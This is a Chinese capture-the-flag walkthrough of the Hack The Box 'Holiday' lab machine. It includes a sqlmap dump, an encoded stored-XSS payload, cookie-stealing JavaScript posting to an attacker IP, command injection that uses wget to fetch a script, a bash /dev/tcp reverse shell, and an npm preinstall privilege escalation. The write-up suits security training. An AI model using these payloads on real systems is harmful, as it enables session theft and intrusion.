HTB-靶机-Holiday
本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.25
本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描
执行命令
autorecon 10.10.10.25 -o ./holiday-autorecon
autorecon扫描结果
根据综合性扫描会在指定的位置生成目录,目录下面有各种扫描结果,根据扫描结果来看得知目标开放了两个端口22和8000
关于autorecon的使用方式可参考:https://cloud.tencent.com/developer/article/1514804
我们看下扫描出来的22端口和8000端口的详细信息
翻看了下虽然自动化但是还没发现可利用的地方,此工具使用了dirb进行目录爆破,但是发现并没爆出任何东西,我尝试再爆破目录一下
dirb http://10.10.10.25:8000
最终发现了admin目录,访问下
跳到一个登录界面,试了下弱口令和万能密码,没效果,使用burpsuite抓包通过sqlmap跑一下,跑出来了一个账号和加密的hash密码,
sqlmap -r login-holiday-seq --risk 3 --level 5 --threads 10 -T users --dump --batch
在somd5上破解得出密码为nevergonnagiveyouup 使用此用户名密码登录目标靶机8000端口的web应用
随便点击一个进去
点击了上面的每个按钮,只有Notes可以输入数据进去,丢了几个xss代码,发现被过滤了,经过了一番搜索和测试验证,最终确认目标存在存储型xss,而且需要使用JavaScript函数String.fromCharCode绕过过滤器以运行payload,从而使xss代码被触发,盗取cookie,拿到管理员后台,在测试的过程中发现提交的代码,管理员会每分钟去执行一次,提示信息如下
所以上述的利用场景知道了,我们可以做如下操作步骤进行操作
- 绕过存储型XSS
payload = '''document.write('<script src="http://10.10.14.4/bmfx.js"></script>');''' ','.join([str(ord(c)) for c in payload])
- 上述在python2版本中交互式执行得到如下结果:
100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,49,48,46,49,48,46,49,52,46,52,47,98,109,102,120,46,106,115,34,62,60,47,115,99,114,105,112,116,62,39,41,59
- 最终得出如下payload
<img src="x/><script>eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,49,48,46,49,48,46,49,52,46,52,47,98,109,102,120,46,106,115,34,62,60,47,115,99,114,105,112,116,62,39,41,59));</script>">
- 文件bmfx.js -- 下面代码通过本地nc监听8822端口确认js代码被执行然后返回数据包,数据包中含有管理员的cookie代码
var url="http://locahost:8000/vac/8dd841ff-3f44-4f2b-9324-9a833e2c6b65"; $.ajax({ method: "GET",url: url,success: function(data) { $.post("http://10.10.14.4:8822", data);}});
或者
window.addEventListener('DOMContentLoaded', function(e) {
window.location = "http://10.10.14.4:8822/?cookie=" + encodeURI(document.getElementsByName("cookie")[0].value)
})
得到管理员的cookie之后使用cookie manager插件修改为管理员cookie(这里得到的cookie要看清楚,刚开始没注意细节,需要在burpsuite进行解码方可正常使用)
获得管理员后台
点击了上面功能按钮Bookings和Notes都是下载文件,下载下来是刚才注入测试的内容,根据经验判断可能存在命令注入,通过burpsuite抓包进行测试
试了个&符号还真可以操作,在burpsuite操作需要进行url编码,上面的Bookings和Notes都可以进行命令注入,测试没问题反弹shell进行反弹,发现不成功,经过测试发现需要将IP地址转换为16进制,转换的地方:https://www.browserling.com/tools/ip-to-hex
反弹方式:通过本地编写shell脚本注入代码:
#!/bin/bash bash -i >& /dev/tcp/10.10.14.4/8833 0>&1
进行反弹shell,明显别写带点的,利用的时候需要转换麻烦,上述代码命名为revbmfx 在burpsuite通过如下类似方式执行
触发反弹shell GET /admin/export?table=bookings/%26wget+0x0a0a0e04/revbmfx GET /admin/export?table=bookings/%26bash+revbmfx
成功反弹shell
第一种提权方式
第二种提权方式
可参考:https://github.com/joaojeronimo/rimrafall/blob/master/package.json
大概利用方式就是在目标靶机上新建文件package.json 里面内容如下:
{ "name": "bmfx", "version": "2.0.0", "scripts": { "preinstall": "/bin/bash" } }
然后在此文件的当前目录下执行
sudo npm i . --unsafe